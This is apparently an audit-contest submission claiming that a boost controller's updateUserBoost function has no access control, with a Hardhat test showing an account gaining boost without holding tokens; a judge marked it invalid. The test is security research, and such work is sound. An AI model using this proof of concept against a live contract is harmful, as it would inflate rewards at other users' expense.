Core Contracts
Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

Anyone can have boost by BoostController#updateUserBoost

newspacexyz

Summary

Anyone can call BoostController#updateUserBoost to let any user have boost

Vulnerability Details

If user know the supported pool address, user can get boost by calling BoostController#updateUserBoost

There's no validation of userBoost > 0 and userBoost.delegateTo = pool. Even this function has no modifier.

As a result, anyone can have boost by calling this function without delegateBoost() calls.

Proof Of Code

Testcode is written in BoostController.test.js

describe("Newspace Test Code", () => {
it("anyone can have boost", async () => {
const amount = ethers.parseEther("100");
// Update boost and verify event
const [boostBasisPoints, boostedAmount] = await boostController.calculateBoost(
user1.address,
mockPool.getAddress(),
10000
);
​
const tx = await boostController.connect(user1).updateUserBoost(user1.address, mockPool.getAddress());
const receipt = await tx.wait();
​
// Get BoostUpdated event from logs
const boostUpdatedEvent = receipt.logs[0];
expect(boostUpdatedEvent.args[0]).to.equal(user1.address);
expect(boostUpdatedEvent.args[1]).to.equal(await mockPool.getAddress());
expect(boostUpdatedEvent.args[2]).to.equal(boostedAmount);
​
// Get PoolBoostUpdated event from logs
const poolBoostUpdatedEvent = receipt.logs[1];
expect(poolBoostUpdatedEvent.args[0]).to.equal(await mockPool.getAddress());
expect(poolBoostUpdatedEvent.args[1]).to.equal(boostedAmount);
expect(poolBoostUpdatedEvent.args[2]).to.equal(boostedAmount);
});
});

user1 has no veRAACToken, but since updateUserBoost() is called, user1 has boostedAmount boost.

Impact

Boost inflation.

poolBoosts and userBoosts increase.

Tools Used

manual, hardhat

Recommendations

Add a validation of userBoost.delegateTo == pool and _calculateBoost()'s amount = oldBoost, modifier to prevent called by anyone.

Updates

Lead Judging Commences

inallhonesty Lead Judge 7 months ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!